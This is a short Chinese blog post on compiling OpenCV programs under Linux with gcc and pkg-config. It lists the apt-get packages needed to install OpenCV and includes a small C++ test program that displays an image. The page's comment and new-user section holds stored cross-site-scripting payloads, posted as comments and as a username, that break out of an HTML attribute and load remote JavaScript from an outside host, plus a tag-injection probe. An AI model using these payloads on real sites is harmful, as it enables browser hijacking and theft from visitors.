linux下编译opencv库所用的命令


linux下编译opencv库所用的命令(main.cpp为源文件,main为生成文件)


gcc main.cpp -o main -ggdb `pkg-config opencv --cflags --libs` -lm  -lstdc++ 



linux下编译opencv与串口通信库所用的命令(det.cpp为源文件,det为生成文件)

gcc -ggdb `pkg-config opencv --cflags --libs` det.cpp rs232.cpp -o det -lm  -lstdc++




linux安装opencv所需安装的库

sudo apt-get install opencv-doc libcv4 libhighgui4 libcvaux4 libcv-dev libcvaux-dev libhighgui-dev libgtk2.0-dev

sudo apt-get install build-essential libgtk2.0-dev libavcodec-dev libavformat-dev libjpeg62-dev libtiff4-dev cmake libswscale-dev libjasper-dev


sudo apt-get install libopencv-dev



test code

#include "opencv2/opencv.hpp"
#include<iostream>
using namespace cv;
using namespace std;
int main(){
Mat img;
img=imread("src.bmp");
imshow("show",img);
//imwrite("imgthres.jpg",img);
waitKey(0);
return 0;
}


Last Article Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39